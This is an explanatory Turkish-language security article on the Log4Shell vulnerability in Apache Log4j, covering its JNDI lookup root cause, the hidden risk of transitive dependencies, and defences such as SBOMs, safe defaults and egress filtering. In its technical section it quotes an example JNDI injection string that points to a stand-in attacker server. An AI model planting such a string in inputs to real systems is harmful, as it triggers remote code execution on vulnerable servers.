Log4Shell'den Alınan Dersler: Tedarik Zinciri Bağımlılıklarının Gizli Riski

Aralık 2021'de kamuoyuna duyurulan CVE-2021-44228, kısa adıyla Log4Shell, güvenlik camiasında yaklaşık on yılın en ciddi zafiyetlerinden biri olarak kabul edilir. Zafiyetin kendisi Apache Log4j adlı, Java ekosisteminde günlük (log) tutma amacıyla kullanılan bir kütüphanede bulunuyordu; ancak asıl önemli olan teknik detay değil, bu kütüphanenin dünya genelinde ne kadar yaygın ve ne kadar "görünmez" biçimde kullanıldığıydı. Alibaba Cloud güvenlik ekibinin Kasım 2021 sonlarında Apache'ye özel olarak bildirdiği zafiyet, Aralık ayının ilk haftasında kamuya sızdı ve dünya çapında acil yama seferberliğine yol açtı.

Teknik kök neden: günlük mesajının kod olarak yorumlanması

Log4j, "mesaj arama" (message lookup substitution) adı verilen bir özellik sunuyordu: kütüphane, loglanan bir metin içinde ${...} kalıbını gördüğünde bunu bir yer tutucu olarak değerlendirip yerine dinamik bir değer koyabiliyordu. Bu özelliklerden biri olan JNDI (Java Naming and Directory Interface) araması, log mesajı içine ${jndi:ldap://saldirgan-sunucusu/payload} gibi bir dize yerleştirildiğinde, Log4j'nin bu adrese bağlanıp uzak bir sunucudan Java sınıfı indirip çalıştırmasına izin veriyordu. Kritik nokta şuydu: bu tetikleyici dizeyi, uygulamanın herhangi bir girdi alanına (HTTP başlığı, kullanıcı adı alanı, hatta bir sohbet mesajı) yazmak yeterliydi; uygulama bu veriyi normal bir hata ayıklama pratiğiyle logladığı anda, sunucu tarafında kod çalıştırma (RCE) gerçekleşiyordu. Yani günlükleme gibi tamamen pasif ve arka planda kabul edilen bir işlev, aktif bir kod çalıştırma kapısına dönüşmüştü.

Neden bir "tedarik zinciri" dersi

Log4Shell'i özellikle öğretici kılan, kütüphanenin doğrudan değil geçişli (transitive) bağımlılık olarak kullanılmasıydı: birçok kurum, kendi yazdıkları koda Log4j'yi hiç eklemedikleri halde, kullandıkları bir üçüncü parti çerçeve veya ticari ürünün içinde gömülü olarak taşıyorlardı. Bu da güvenlik ekiplerinin ilk günlerdeki en temel sorusunu bile yanıtlamasını zorlaştırdı: "Biz bu kütüphaneyi kullanıyor muyuz?" Birçok kurum bu soruya, elle her sunucuyu tarayıp jar dosyalarının içini inceleyerek günler içinde ancak kısmi bir cevap verebildi. Popüler bir oyun sunucusundan kurumsal e-ticaret platformlarına kadar çok geniş bir yelpazedeki sistemlerin etkilenmesi, modern yazılımın ne kadar derin ve görünmez bağımlılık katmanları üzerine inşa edildiğini gözler önüne serdi.

Çıkarılması gereken yapısal dersler

Bu olaydan sonra sektörde en çok konuşulan çözüm, Yazılım Malzeme Listesi (SBOM) kavramının olgunlaşmasıydı: bir uygulamanın doğrudan ve geçişli tüm bağımlılıklarının makine tarafından okunabilir bir envanterinin tutulması, benzer bir zafiyet duyurulduğunda "etkilenen sistemlerimiz hangileri" sorusunun dakikalar içinde yanıtlanmasını sağlar. İkinci ders, varsayılan olarak tehlikeli özelliklerin (bu örnekte otomatik JNDI araması) kütüphane geliştiricileri tarafından varsayılan olarak kapalı gelmesi gerektiğidir; nitekim sonraki Log4j sürümlerinde bu özellik varsayılan olarak devre dışı bırakıldı. Üçüncüsü, ağ düzeyinde savunma derinliğinin önemi: uygulama sunucularının dışarıya doğru gereksiz LDAP/RMI bağlantıları kurmasını engelleyen bir çıkış (egress) filtreleme politikası, zafiyetin kendisi yamanmamış olsa bile istismarın ikinci aşamasını (uzak sınıf indirme) kırabilirdi. Yazılım tedarik zinciri güvenliğiyle ilgili diğer analizlerimiz için siber güvenlik kategorimizi takip edebilirsiniz.